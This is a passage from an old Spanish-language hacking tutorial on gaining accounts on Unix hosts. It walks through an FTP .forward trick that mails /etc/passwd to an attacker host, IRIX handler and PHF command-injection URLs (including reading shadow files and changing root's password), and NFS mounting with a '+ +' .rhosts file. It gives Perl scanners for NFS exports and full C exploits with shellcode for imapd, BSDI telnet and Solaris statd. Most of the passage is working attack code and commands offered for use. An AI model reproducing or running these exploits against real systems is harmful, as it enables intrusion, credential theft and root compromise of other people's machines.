La victima debe de tener una copia completa del archivo /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes ver que normalmente nunca aparece el archivo verdadero :( , pero el home directory de "ftp" puede ser escribible en victim.com. Esto te permite ejecutar comandos remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta "ftp".

 

evil % cat forward_sucker_file

 "|/bin/mail zen@evil.com < /etc/passwd"

 

 evil % ftp victim.com

 Connected to victim.com

 220 victim FTP server ready.

 Name (victim.com:zen): ftp

 331 Guest login ok, send ident as password.

 Password:

 230 Guest login ok, access restrictions apply.

 ftp> ls -lga

 200 PORT command successful.

 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

 total 5

 drwxr-xr-x 4 101 1 512 Jun 20 1991 .

 drwxr-xr-x 4 101 1 512 Jun 20 1991 ..

 drwxr-xr-x 2 0 1 512 Jun 20 1991 bin

 drwxr-xr-x 2 0 1 512 Jun 20 1991 etc

 drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

 226 ASCII Transfer complete.

 242 bytes received in 0.066 seconds (3.6 Kbytes/s)

 ftp> put forward_sucker_file .forward

 43 bytes sent in 0.0015 seconds (28 Kbytes/s)

 ftp> quit

 evil % echo test | mail ftp@victim.com

 

Ahora simplemente tienes que esperar a que el archivo de passwords te sea

enviado.

 

 

Ejecutar comandos de manera remota en Irix con cgi-bin/handler

 

El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de archivos. Sin embargo existe un bug que da paso a la ejecucion remota de comandos. El sistema intentara abrir el archivo (taluego_Lucas) y si no existe dara un mensaje de error para a continuacion ­ejecutar el comando que sigue. Muy importante, el espacio entre el comando cat y su argumento es un *tabulador* (TAB), no se admiten espacios asi que aunque puedes poner otro comando que no sea cat no podres poner ningun comando que requiera espacios.

 

  $ telnet victima.com 80

  $ GET /cgi-bin/handler/taluego_Lucas;cat /etc/passwd|?data=Download

  $ HTTP/1.0

 

En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el

formato del bug pase a ser:

 

  $telnet victima.com 80

  $GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download

  $HTTP/1.0

 

Con un nuevo TAB para "engañar" al script PERL.

 

 

Hay muchos mas, pero no me apetece seguir buscando.. quiza para posteriores ediciones...ademas en esta categoria tambien entra el PHF que esta explicado mas adelante.

 

 

4.4.- MOUNT

 

 

Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy a intentar explicarlo extensamente para que sepan lo que estan haciendo:

 

El NFS (Network File System) es un sistema de red que permite que una maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos directorios pudiendolos usar como si los poseyera.

 

Otra cosa muy distinta es lo que se pueda hacer con los archivos incluidos en dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo cual depende de la configuracion del NFS. En realidad, no es dificil configurar el NFS para que no pueda haber problemas de seguridad, usando las opciones ro y rw en la configuracion que indican que clientes tienen acceso de lectura y escritura respectivamente. Por tanto, los problemas aparecen cuando no han sido utlidas estas opciones correctamente y cualquier usuario remoto puede leer y escribir... gracias a dios hay root que dan facilidades :o)

 

Mount es el comando en unix que permite montar archivos en tu maquina para conseguir el objetivo expuesto anteriormente.

 

Para ver si una maquina remota con NFS tiene files montables se hace siendo root en la maquina donde estas usando el comando showmount. Este comando se utiliza para determinar que sistema ha montado un sistema de archivos desde un sistema dado. Con el parametro -a muestra todos los sistemas de archivos que se han montado desde el nodo servidor mientras que el comando -e muestra la lista de todos los sistemas de archivos exportados.

 

Como root, has de ejecutar en tu maquina:

 

$root> showmount -e hostvictima.com

mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

 

Si la respuesta es algo de este estilo... quiere decir que no ha habido suerte :o(

 

$root> showmount -e otra.net

Export list for otra.net:

/var/mail makina1.otra.net

/home/user1 makina1.otra.net

/usr/local pluto.seva.net,rover.seva.net

/export/X11R6.3 makina2.otra.net

/export/rover makina1.otra.net,makina2.otra.net

 

En esta maquina no hay accesos del tipo everyone que sean interesantes :o( .. bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de este texto ;o)

 

Seguimos buscando hasta que encontremos una maquina victim.com que nos ponga algo del tipo

 

/home (everyone)

o

/ (everyone)

 

BINGO!!!!!

 

Una vez pillemos una makina de estas caracteristicas, se pueden hacer muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de hacking aunque pensando un poko se te pueden okurrir otros :)

 

Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre de un usuario de la maquina remota.. para cada caso sera uno distinto) en nuestro archivo de passwd local ( es decir, el de nuestra maquina) y luego como usuario rapper ( cambiamos a ese usuario con el su) pondremos una entra .rhosts en su directorio home para poder hacer un rlogin sin password.

 

Primero, creamos el directorio donde lo vamos a montar

 

mimaquina:~>mkdir /tmp/mount

mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/

 

y con esto ya tendremos montado el directorio de la maquina remota en nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos sus archivos :o)

 

mimaquina:~>ls -lsa /tmp/mount/

total 9

  1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

  1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

  1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

  1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

  1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

  1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

  1 -rw------- 1 root root 242 Mar 9 1997 sudoers

  1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

  1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/

 

Vemos que hay un usuario llamado rapper cuyo UID (User Identification) es 102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra maquina:

 

mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

 

mimaquina:~>su - rapper

Welcome to rapper's user.

mimaquina:~>ls -lsa /tmp/mount/

  total 9

  1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

  1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

  1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

  1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

  1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

  1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

  1 -rw------- 1 root root 242 Mar 9 1997 sudoers

  1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

  1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/

 

Asi, poseemos el directorio de rapper por lo que podemos usar las propiedades del .rhosts ( escribimos + + en su .rhosts y luego hacemos un rlogin):

 

mimaquina:~>echo "+ +" > rapper/.rhosts

mimaquina:~>cd /

mimaquina:~>rlogin -l rapper victima.com

Welcome to Victima.Com.

SunOs ver....(crap).

victima:~$

 

y ya tienes una cuenta en el sistema ¡!

 

Para desmontar el archivo, sal de este directorio y ejecuta:

 

mimaquina:~> umount /tmp/mount

 

Tened en cuenta que para este metodo, hemos de tener acceso a la maquina por rlogin, asi que si no es el caso, este metodo tambien admite otras posibilidades pero eso se deja para otro texto :)

 

 

Como lo mas coñazo de este metodo es buscar maquinas con archivos exportables, a continuacion expongo un script escrito por Invisble Evil en perl que te permite buscar automaticamente. Para usarlo previamente se han de conseguir listas de maquinas que se pueden obtener usando el host -l nombredominio > salida y luego usando un script para obtener los ip del archivo salida o se pueden obtener listas de maquinas que hay en internic (se obtienen por ftp de rs.internic.net) y que son listas de maquinas con esa extension:

 

 

com.zone.gz

edu.zone.gz

gov.zone.gz

mil.zone.gz

net.zone.gz

org.zone.gz

 

cuando tengas estos files bajados y tras hacer un gunzip, tendras que ejecutar el script en perl:

 

"perl getdomain.pl com.zone com >com.all"

perl getdomain.pl edu.zone edu >edu.all

 

Y asi con todos, obteniendo archivos com.all, edu.all y sucesivamente donde tendras la lista de maquinas.

 

getdomain.pl

---- cut here

#!/usr/bin/perl

 

# GetDomain By Nfin8 / Invisible Evil

# Questions /msg i-e or /msg i^e

#

# Retrieve command line arguments.

my($inputfile, $domain) = @ARGV;

usage() if (!defined($inputfile) || !defined($domain));

 

# Open and preprocess the input file.

open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");

my(@lines) = <INFILE>;

 

# Initialize main data structure.

my(%hash) = {};

my($key) = "";

 

foreach (@lines) {

  $key = (split(/\ /))[0];

  chop($key);

  next if ((($key =~ tr/.//) < 1) ||

  (uc($domain) ne uc(((split(/\./, $key))[-1]))) ||

  ($key =~ m/root-server/i));

  $hash{$key}++;

}

 

# Close input file and output data structure to STDOUT.

close(INFILE);

 

foreach (sort(keys(%hash))) {

  print "$_\n";

}

 

sub usage {

  print("\n\ngetdomain:\n");

  print("Usage: getdomain [inputfile] [search]\n\n");

  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");

  exit(0);

}

 

0;

 

---- cut here - end of script -----

 

 

Tras obtener la lista de maquinas usando el anterior script (edu.all, com.all, etc..), se ha de usar el script que se expone a continuacion para obtener los resultados del showmount -e:

 

En cada dominio, este script busca si hay discos montables y guarda la info en el directorio actual en archivos llamados domain.XXX.export... asi solo tienes que ver estos logs y mirar si ha habido suerte !!!!

 

 

 

 

--------------- start of cmount.pl

#/usr/bin/perl -w

#

# Check NFS exports of hosts listed in file.

# (Hosts are listed, once per line with no additional whitespaces.)

#

# ii@dormroom.pyro.net - 2/27/97.

 

# Assign null list to @URLs which will be added to later.

my(@result) = ();

my(@domains) = ();

my($program) = "showmount -e ";

 

# Pull off filename from commandline. If it isn't defined, then assign default.

my($DomainFilename) = shift;

$DomainFilename = "domains" if !defined($DomainFilename);

 

# Do checking on input.

die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);

 

# Open $DomainFilename.

open(DOMAINFILE, $DomainFilename) or

  die("mountDomains: Cannot open $DomainFilename for input.\n");

 

while (<DOMAINFILE>) {

  chomp($_);

  print "Now checking: $_";

 

  # Note difference in program output capture from "geturl.pl".

  open (EXECFILE, "$program $_ |");

  @execResult = <EXECFILE>;

  next if (!defined($execResult[0]));

  if ($execResult[0] =~ /^Export/) {

  print " - Export list saved.";

  open (OUTFILE, ">$_.export");

  foreach (@execResult) {

  print OUTFILE;

  }

  close (OUTFILE);

  }

  close(EXECFILE);

  print "\n";

}

 

# We are done. Close all files and end the program.

close (DOMAINFILE);

 

0;

----------------- end of cmount.pl

 

 

Una nota final a todo este coñazo, lo pongo aqui para que solo lo lean los que se leen los textos enteros (jeje) es que /export/foo es el home directory del usuario guest por lo que aunque no nos dejen exportar el directorio /home, en caso de que nos dejen exportar el directorio /export, se podra aplicar este mismo metodo pero teniendo en cuenta de que en lugar de usar el usuario rapper se usara el usuario guest

 

 

suerte ahi fuera......

 

 

 

4.5.- PHF

 

 

Este sistema es antiguo y ampliamente conocido por todo el mundo, pero aunque parezca mentira sigue funcionando y por ello lo expongo en este texto.

 

El phf es un archivo que se encuentra en el directorio /cgi-bin de maquinas unix que ofrezcan este servicio y sirve para buscar direcciones, pero habilmente utilizado puede servir para ejecutar comandos remotos sobre dicha maquina pero no se pueden usar pipes, quotes, etc. En este texto nos vamos a centrar en su uso para la obtencion del archivo passwd de un sistema aunque pensando un poco se le pueden dar otras aplicaciones bastante interesantes ya que te permite ejecutar comandos en la maquina victima.

 

Vamos a empezar comentando el uso mas extendido para luego dar otras ayudas para su uso asi como otras aplicaciones:

 

Asi, escribe en tu navegador:

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

  ( 1 )( 2 )( 3 )( 4 )(5)( 6 )

 

  1.- El site que quieras atacar.

  2.- El comando phf.

  3.- Aqui es donde esta el secreto.

  4.- El programa que quieres que se ejecute.

  5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.

  6.- Y pues aqui va el archivo o directorio que quieres ver.

 

Tras ejecutar este xploit, pueden suceder varias cosas:

 

1.- Que no se encuentre el archivo phf, porque los administradores que son un poco mas listos han desactivado esta opcion o que sea astuto y un poco borde y te mande algun nuke al intentarlo .. todo no iba a ser bonito ¡!! :o( Esto pasa en algunas maquinas sobre todo si son de hackers :o)

 

2.- Que te salga el archivo, pero los password no estan de la manera habitual. Entonces, pueden pasar dos cosas, que este shadow o que este el NIS instalado. Si estamos en el segundo caso, se puede identificar porque en la ultima linea del archivo tiene una cadena parecida a esta "+::0:0:::" Si NO TE SALE, intenta poner en la linea del navegador, en vez de /etc/passwd pues /etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula como root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso indica que tiene activado el sistema de archivos NIS, y por lo cual posiblemente funcione el comando "ypcat" para leer el passwd. La linea seria la siguiente:

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

 

Con esto te saldran todas las cuentas sin sombrear, o sea lo que quiere decir que puedes crackear el archivo passwd

 

Si todo sale bien el resultado sera del tipo:

 

 

  QUERY RESULTS

 

 

  /usr/local/bin/ph -m alias=x cat /etc/passwd

 

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:-2:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

guest:*:405:100:guest:/dev/null:/dev/null

bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

 

 

Y una vez tienes este texto en la pantalla de tu navegador, solo tienes que hacer un guardar como.

 

Pero el PHF te da muchas mas posibilidades, ya que si el server esta corriendo su httpd server como root, se puede obtener el acceso de root.

 

Usando

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id

 

Usamos el id para conocer la identificacion del user. Recuerda que el root es id=0 aunque lo usual es que corra bajo nobody y te saldria algo de este tipo:

 

  QUERY RESULTS

 

 

 

  /usr/local/bin/ph -m alias=x id

 

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

 

 

Si en lugar de correr como usuario nobody, corriese como root, podriamos usar comandos como root, interesante no??

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

 

Estos dos ya han sido explicados anteriormente. El que muestro a continuacion podria ser util para ver todos los archivos del directorio /etc que empiezan con la palabra pass.

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*

 

Los tres comandos anteriores funcionaran aunque no corra como root, pero para los siguientes si que es necesario el root, pero son los mas interesantes:

 

Cambiar el password del root (no funciona mucho pero si a veces):

 

http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root

 

Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo root es practicamente como si tuviesemos una cuenta de root en la maquina, asi que ya sabes........ kreo ke sobran los komentarios no? }-)

 

Bien, todo lo que he contado es suponiendo que usan el navegador como el Netscape para el ventanukos o usar el Netscape o lynx para linux, pero adjunto un programa para que podan usar comandos para el phf desde el shell que es mas comodo y ademas si usan una maquina de condon, no tenes que depender de si esa maquina tiene navegadores o no.

 

En fin, el codigo es el siguiente:

 

 

/* Some small changes for efficiency by snocrash. */

/*

 * cgi-bin phf exploit by loxsmith [xf]

 *

 * I wrote this in C because not every system is going to have lynx. Also,

 * this saves the time it usually takes to remember the syntatical format

 * of the exploit. Because of the host lookup mess, this will take

 * approximately 12 seconds to execute with average network load. Be patient.

 *

 */

 

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <errno.h>

 

int main(argc, argv)

  int argc;

  char **argv;

{

  int i = 0, s, port, bytes = 128;

  char exploit[0xff], buffer[128], hostname[256], *command, j[2];

  struct sockaddr_in sin;

  struct hostent *he;

 

  if (argc != 3 && argc != 4) {

  fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);

  exit(1);

  }

 

  command = (char *)malloc(strlen(argv[1]) * 2);

 

  while (argv[1][i] != '\0') {

  if (argv[1][i] == 32) strcat(command, "%20"); else {

  sprintf(j, "%c", argv[1][i]);

  strcat(command, j);

  }

  ++i;

  }

 

  strcpy(hostname, argv[2]);

  if (argc == 4) port = atoi(argv[3]); else port = 80;

 

  if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {

  he = gethostbyname(hostname);

  if (he) {

  sin.sin_family = he->h_addrtype;

  memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],

  he->h_length);

  } else {

  fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);

  exit(1);

  }

  }

  sin.sin_family = AF_INET;

  sin.sin_port = htons((u_short) port);

 

  if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {

  fprintf(stderr, "%s: could not get socket\n", argv[0]);

  exit(1);

  }

 

  if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

  close(s);

  fprintf(stderr, "%s: could not establish connection\n", argv[0]);

  exit(1);

  }

 

  sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);

  free(command);

  write(s, exploit, strlen(exploit));

  while(bytes == 128) {

  bytes = read(s, buffer, 128);

  fprintf(stdout, buffer);

  }

  close(s);

}

 

 

La sintaxis para usar este codigo es:

 

phf cat%20/etc/passwd www.maquinavictima.com para hacer un cat passwd

 

phf id www.maquinavictima.com para hacer un id

 

phf ls www.maquinavictima.com para hacer un ls

 

etc... como ves la sintaxis es sencilla y mas comodo que usar el navegador.

 

 

Para posteriores ediciones del texto comentare algun codigo interesante que tengo para explotar el phf asi como algun truquillo para obtener mas posibilidades de este bug. ;o) como pillar los archivos de passwd si esta shadow, evitar filtrado de ip, etc... pensad que una maquina con phf es una maquina en la que puedes ejecutar y ver comandos remotamente.. asi que pensando un poco las posibilidades son infinitas :o)

 

 

4.7.- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL

 

 

En este apartado, voy a poner unos cuantos xploits pero como he dicho anteriormente, la red esta llena de xploits para todos los sistemas operativos y casi todas las versiones asi que aqui solo voy a poner unos cuantos.

 

En fin, voy a poner uno que da directamente un shell de root debido al bug del impad ( puerto 143) en maquinas linux con RedHat:

 

/*

 * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05

 *

 * Workz fine against RedHat and imapd distributed with pine

 *

 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of

ToXyn !!!

 *

 * usage:

 * $ (imap 0; cat) | nc victim 143

 * |

 * +--> usually from -1000 to 1000 ( try in steps of 100 )

 *

 * [ I try 0, 100 and 200 - so1o ]

 */

 

#include <stdio.h>

 

char shell[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"

"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"

"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xe8\xc0\xff\xff\xff/bin/sh";

 

char username[1024+255];

 

void main(int argc, char *argv[]) {

  int i,a;

  long val;

 

  if(argc>1)

  a=atoi(argv[1]);

  else

  a=0;

 

  strcpy(username,shell);

 

  for(i=strlen(username);i<sizeof(username);i++)

  username[i]=0x90; /* NOP */

 

  val = 0xbffff501 + a;

 

  for(i=1024;i<strlen(username)-4;i+=4)

  {

  username[i+0] = val & 0x000000ff;

  username[i+1] = (val & 0x0000ff00) >> 8;

  username[i+2] = (val & 0x00ff0000) >> 16;

  username[i+3] = (val & 0xff000000) >> 24;

  }

 

  username[ sizeof(username)-1 ] = 0;

 

  printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);

}

 

Otro para BSDI BSD/OS 2.1 y bien explicadito (aunque en ingles.. pero creo que es demasiado sencillo para traducirno no?):

 

 

/* Bug originally discovered by Theo de Raadt <deraadt@CVS.OPENBSD.ORG> */

 

/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c

**

** Written by Joseph_K the 22-Oct-1997

**

**

** Original shellcode by mudge@l0pht.com but modified a tiny bit...

**

** This program must be compiled for the BSDI architecture...

** You will need to transfer the file 'termcap' this program creates

** to the host you want to penetrate, possibly by anonymous FTP.

**

** Then start telnet and type:

**

** telnet> env def TERM access

** telnet> env def TERMCAP /path/and/name/of/uploaded/file

** telnet> open victim.host.com

**

** tadaa! r00t shell...

**

** However because of the invalid termcap entry, there can be some

** hazzles....You figure it out....

**

** Fy faen vad jag ar hungrig...

**

** Special Greetz to TWiLiGHT!

**

*/

 

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

 

#define filename "./termcap"

#define entry "access|Gimme r00t:\\\n :"

#define bufsize 1300

#define default_offset 870 /* Should work...*/

 

char shellcode[] =

  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

  "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

 

long get_sp(void)

{

  __asm__("movl %esp, %eax\n");

}

 

int main(int argc, char *argv[]) {

  int i, fd, offs;

  long *bof_ptr;

  char *ptr, *buffer, *tempbuf;

 

  offs = default_offset;

 

  if(argc == 2) {

  printf("using offset: %d\n",atoi(argv[1]));

  offs = atoi(argv[1]);

  }

 

  if(!(buffer = malloc(bufsize))) {

  printf("can't allocate enough memory\n");

  exit(0);

  }

 

 

  if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {

  printf("can't allocate enough memory\n");

  exit(0);

  }

 

  bof_ptr = (long *)buffer;

  for (i = 0; i < bufsize - 4; i += 4)

  *(bof_ptr++) = get_sp() - offs;

 

  ptr = (char *)buffer;

  for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)

  *(ptr++) = 0x90;

 

  for (i = 0; i < strlen(shellcode); i++)

  *(ptr++) = shellcode[i];

 

  printf("Creating termcap file\n");

 

  snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);

  fd = open(filename, O_WRONLY|O_CREAT, 0666);

  write (fd, tempbuf, strlen(tempbuf));

  close(fd);

}

 

Otro para Solaris 2.5.1:

 

/*

 statd remote overflow, solaris 2.5.1 x86

 there is a patch for statd in solaris 2.5, well, it looks like

 they check only for '/' characters and they left overflow there ..

 nah, it's solaris

 

 usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"

  # remember that statd is standalone daemon

 

 */

 

#include <sys/types.h>

#include <sys/time.h>

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <rpc/rpc.h>

#include <rpcsvc/sm_inter.h>

#include <sys/socket.h>

 

#define BUFSIZE 1024

#define ADDRS 2+1+1+4

#define ADDRP 0x8045570;

 

/* up to ~ 150 characters, there must be three strings */

char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

 

char

asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0

 

 

1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";

char nop[]="\x90";

 

char code[4096];

 

void usage(char *s) {

  printf("Usage: %s host [cmd]\n", s);

  exit(0);

}

 

main(int argc, char *argv[]) {

  CLIENT *cl;

  enum clnt_stat stat;

  struct timeval tm;

  struct mon monreq;

  struct sm_stat_res monres;

  struct hostent *hp;

  struct sockaddr_in target;

  int sd, i, noplen=strlen(nop);

  char *ptr=code;

 

  if (argc < 2)

  usage(argv[0]);

  if (argc == 3)

  cmd[2]=argv[2];

 

  for (i=0; i< sizeof(code); i++)

  *ptr++=nop[i % noplen];

 

  strcpy(&code[750], asmcode); /* XXX temp. */

  ptr=code+strlen(code);

  for (i=0; i<=strlen(cmd[0]); i++)

  *ptr++=cmd[0][i]-1;

  for (i=0; i<=strlen(cmd[1]); i++)

  *ptr++=cmd[1][i]-1;

  for (i=0; i<=strlen(cmd[2]); i++)

  *ptr++=cmd[2][i]-1;

  ptr=code+BUFSIZE-(ADDRS<<2);

  for (i=0; i<ADDRS; i++, ptr+=4)

  *(int *)ptr=ADDRP;

  *ptr=0;

 

  printf("strlen = %d\n", strlen(code));

 

  memset(&monreq, 0, sizeof(monreq));

  monreq.mon_id.my_id.my_name="localhost";

  monreq.mon_id.my_id.my_prog=0;

  monreq.mon_id.my_id.my_vers=0;

  monreq.mon_id.my_id.my_proc=0;

  monreq.mon_id.mon_name=code;

 

  if ((hp=gethostbyname(argv[1])) == NULL) {

  printf("Can't resolve %s\n", argv[1]);

  exit(0);

  }

  target.sin_family=AF_INET;

  target.sin_addr.s_addr=*(u_long *)hp->h_addr;

  target.sin_port=0; /* ask portmap */

  sd=RPC_ANYSOCK;

 

  tm.tv_sec=10;

  tm.tv_usec=0;

  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {

  clnt_pcreateerror("clnt_create");

  exit(0);

  }

  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,

  (char *)&monres, tm);

  if (stat != RPC_SUCCESS)

  clnt_perror(cl, "clnt_call");

  else

  printf("stat_res = %d.\n", monres.res_stat);

  clnt_destroy(cl);

}

 

Otro bug de System V (aunque es improbable que funcione) pero es bastante aclarativo de cuales pueden llegar a ser las naturalezas de los bugs:

 

Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave cuando la validez de la anterior ha expirado.

Si el programa detecta que el usuario que quiere entrar (sabe quien es despues de poner el login) tiene el mismo password demasiado tiempo, le pide inmediatamente que lo cambie ­­­SIN PEDIR EL PASSWORD ANTIGUO!!!, saldria esto:

 

 

  UNIX(r) System V Release 4.0 (good religious site)

 

  login: priest

  Sorry Passwd has expired

  Change:

 

Y pones el que quieres y ya estas dentro :--> con una cuenta que tu has determinado el passwd jeje

 

Para posteriores ediciones espero poner algunos mas, pero creo que es mejor que ponga bastantes en la seccion de pillar root ke es mas interesante ke esto :o)y ademas, sinceramente no se si vale la pena ya que se pueden encontrar con facilidad en la red.

 

 

4.8.- OTROS METODOS

 

 

En fin, aqui solo voy a comentar que hay muchisimos mas metodos para conseguir cuentas ... directamente con muchisimos otros bugs y xploits que rulan por ahi, usando el metodo de la fuerza bruta por algun servicio ( ftp, pop3, etc), spoofing, fallos de configuracion en ftp, alguna cuenta que pilles con un sniffer, fallos en los rpc, mas xploits remotos, defectos de configuracion, hijacking, etc... pero esto ya se comentara en posteriores ediciones si hay ganas ;o) o quizas en textos especificos para esos temas ya que este texto es de introduccion y tampoco lo quiero recargar demasiado.

 

 

5.- SALIR DE SHELL RESTRINGIDA

 

 

